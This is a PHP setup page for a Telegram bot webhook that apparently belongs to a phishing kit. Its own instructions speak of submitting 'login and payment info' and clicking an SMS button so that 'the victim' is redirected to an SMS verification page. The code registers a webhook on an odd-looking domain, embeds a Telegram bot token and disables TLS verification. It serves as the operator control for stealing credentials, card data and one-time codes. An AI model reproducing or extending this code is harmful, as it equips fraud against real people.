<?php
/**
 * Telegram Webhook Setup Script
 * Run this script after changing your bot token to configure the webhook
 */

// Define APP_ACCESS to allow config inclusion
define('APP_ACCESS', true);

// Get bot token from config
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/encryption.php';

// Decrypt bot token if encrypted
$botToken = TELEGRAM_BOT_TOKEN;

// Check if token looks encrypted (base64)
if (function_exists('decryptData') && base64_encode(base64_decode($botToken, true)) === $botToken) {
    // Token appears to be base64 encoded (likely encrypted)
    try {
        $decrypted = decryptData($botToken);
        if (!empty($decrypted) && $decrypted !== '8826694660:AAEoaPYqHsoajNcJue74w-fpgzO3xJHEdMo' && strlen($decrypted) > 20) {
            $botToken = $decrypted;
        }
    } catch (Exception $e) {
        // Decryption failed, use token as-is
    }
}
// If token is not encrypted (plain text), use it as-is

$webhookUrl = 'https://ticket765890982.mercadosinlucro.com/louw4/telegram-bot-webhook.php';

// Validate bot token
if (empty($botToken) || $botToken === 'YOUR_BOT_TOKEN_HERE') {
    die('<h2 style="color: red;">❌ Error: Bot token not configured in config/config.php</h2>');
}

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Telegram Webhook Setup</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
            background: #f5f5f5;
        }
        .container {
            background: white;
            padding: 30px;
            border-radius: 10px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }
        h1 {
            color: #333;
            border-bottom: 3px solid #1ed760;
            padding-bottom: 10px;
        }
        .info-box {
            background: #e8f5e9;
            border-left: 4px solid #4caf50;
            padding: 15px;
            margin: 20px 0;
        }
        .warning-box {
            background: #fff3e0;
            border-left: 4px solid #ff9800;
            padding: 15px;
            margin: 20px 0;
        }
        .error-box {
            background: #ffebee;
            border-left: 4px solid #f44336;
            padding: 15px;
            margin: 20px 0;
        }
        .success-box {
            background: #e8f5e9;
            border-left: 4px solid #4caf50;
            padding: 15px;
            margin: 20px 0;
        }
        .btn {
            background: #1ed760;
            color: white;
            padding: 12px 30px;
            border: none;
            border-radius: 25px;
            cursor: pointer;
            font-size: 16px;
            margin: 10px 5px;
        }
        .btn:hover {
            background: #1db954;
        }
        .btn-danger {
            background: #f44336;
        }
        .btn-danger:hover {
            background: #d32f2f;
        }
        pre {
            background: #f5f5f5;
            padding: 15px;
            border-radius: 5px;
            overflow-x: auto;
        }
        code {
            background: #f5f5f5;
            padding: 2px 6px;
            border-radius: 3px;
            font-family: monospace;
        }
        .step {
            margin: 30px 0;
            padding: 20px;
            background: #fafafa;
            border-radius: 5px;
        }
        .step h3 {
            color: #1ed760;
            margin-top: 0;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>🤖 Telegram Webhook Configuration</h1>
        
        <div class="info-box">
            <strong>📋 Current Configuration:</strong><br>
            <strong>Bot Token:</strong> <?php echo substr($botToken, 0, 20) . '...' . substr($botToken, -10); ?><br>
            <strong>Webhook URL:</strong> <?php echo $webhookUrl; ?><br>
            <strong>Chat ID:</strong> <?php echo TELEGRAM_CHAT_ID; ?>
        </div>

        <?php
        // Check if setup is requested
        if (isset($_GET['action'])) {
            if ($_GET['action'] === 'setup') {
                echo '<div class="step"><h3>⚙️ Setting up webhook...</h3>';
                
                $url = "https://api.telegram.org/bot{$botToken}/setWebhook?url=" . urlencode($webhookUrl);
                
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_TIMEOUT, 10);
                
                $response = curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                $result = json_decode($response, true);
                
                if ($httpCode === 200 && isset($result['ok']) && $result['ok']) {
                    echo '<div class="success-box">';
                    echo '<strong>✅ SUCCESS!</strong><br>';
                    echo 'Webhook has been configured successfully!<br>';
                    echo 'Your Telegram bot is now ready to receive button clicks.';
                    echo '</div>';
                } else {
                    echo '<div class="error-box">';
                    echo '<strong>❌ ERROR!</strong><br>';
                    echo 'Failed to configure webhook.<br>';
                    if (isset($result['description'])) {
                        echo '<strong>Error:</strong> ' . htmlspecialchars($result['description']);
                    }
                    echo '</div>';
                }
                
                echo '<pre>' . htmlspecialchars(json_encode($result, JSON_PRETTY_PRINT)) . '</pre>';
                echo '</div>';
                
            } elseif ($_GET['action'] === 'check') {
                echo '<div class="step"><h3>🔍 Checking webhook status...</h3>';
                
                $url = "https://api.telegram.org/bot{$botToken}/getWebhookInfo";
                
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_TIMEOUT, 10);
                
                $response = curl_exec($ch);
                curl_close($ch);
                
                $result = json_decode($response, true);
                
                if (isset($result['result'])) {
                    $info = $result['result'];
                    
                    if (!empty($info['url'])) {
                        echo '<div class="success-box">';
                        echo '<strong>✅ Webhook is configured!</strong><br>';
                        echo '<strong>URL:</strong> ' . htmlspecialchars($info['url']) . '<br>';
                        echo '<strong>Pending Updates:</strong> ' . ($info['pending_update_count'] ?? 0) . '<br>';
                        if (isset($info['last_error_message'])) {
                            echo '<strong>Last Error:</strong> ' . htmlspecialchars($info['last_error_message']) . '<br>';
                            echo '<strong>Last Error Date:</strong> ' . date('Y-m-d H:i:s', $info['last_error_date']) . '<br>';
                        }
                        echo '</div>';
                    } else {
                        echo '<div class="warning-box">';
                        echo '<strong>⚠️ No webhook configured!</strong><br>';
                        echo 'You need to set up the webhook first.';
                        echo '</div>';
                    }
                }
                
                echo '<pre>' . htmlspecialchars(json_encode($result, JSON_PRETTY_PRINT)) . '</pre>';
                echo '</div>';
                
            } elseif ($_GET['action'] === 'delete') {
                echo '<div class="step"><h3>🗑️ Deleting webhook...</h3>';
                
                $url = "https://api.telegram.org/bot{$botToken}/deleteWebhook";
                
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_TIMEOUT, 10);
                
                $response = curl_exec($ch);
                curl_close($ch);
                
                $result = json_decode($response, true);
                
                if (isset($result['ok']) && $result['ok']) {
                    echo '<div class="success-box">';
                    echo '<strong>✅ Webhook deleted successfully!</strong>';
                    echo '</div>';
                } else {
                    echo '<div class="error-box">';
                    echo '<strong>❌ Failed to delete webhook!</strong>';
                    echo '</div>';
                }
                
                echo '<pre>' . htmlspecialchars(json_encode($result, JSON_PRETTY_PRINT)) . '</pre>';
                echo '</div>';
            }
        }
        ?>

        <div class="step">
            <h3>🚀 Quick Actions</h3>
            <p>Choose an action to configure your Telegram webhook:</p>
            
            <a href="?action=setup"><button class="btn">⚙️ Setup Webhook</button></a>
            <a href="?action=check"><button class="btn">🔍 Check Status</button></a>
            <a href="?action=delete"><button class="btn btn-danger">🗑️ Delete Webhook</button></a>
        </div>

        <div class="step">
            <h3>📖 Instructions</h3>
            <ol>
                <li><strong>Setup Webhook:</strong> Click this button after changing your bot token to register the webhook with Telegram</li>
                <li><strong>Check Status:</strong> Verify that your webhook is properly configured</li>
                <li><strong>Delete Webhook:</strong> Remove the webhook configuration (useful for troubleshooting)</li>
            </ol>
        </div>

        <div class="step">
            <h3>🔧 Manual Configuration (Alternative)</h3>
            <p>You can also configure the webhook manually by visiting this URL in your browser:</p>
            <pre><?php echo "https://api.telegram.org/bot{$botToken}/setWebhook?url=" . urlencode($webhookUrl); ?></pre>
        </div>

        <div class="step">
            <h3>✅ Testing the Flow</h3>
            <ol>
                <li>Make sure webhook is configured (click "Setup Webhook" above)</li>
                <li>Test your application - submit login and payment info</li>
                <li>You should receive a Telegram message with control buttons</li>
                <li>Click the "📲 SMS" button</li>
                <li>The victim should be redirected to the SMS verification page</li>
            </ol>
        </div>

        <div class="warning-box">
            <strong>⚠️ Important Notes:</strong>
            <ul>
                <li>Your webhook URL must be accessible from the internet (HTTPS required)</li>
                <li>Make sure <code>telegram-bot-webhook.php</code> file exists and is accessible</li>
                <li>Check that <code>Panel/action/</code> directory is writable</li>
                <li>After setup, test by clicking buttons in Telegram messages</li>
            </ul>
        </div>
    </div>
</body>
</html>
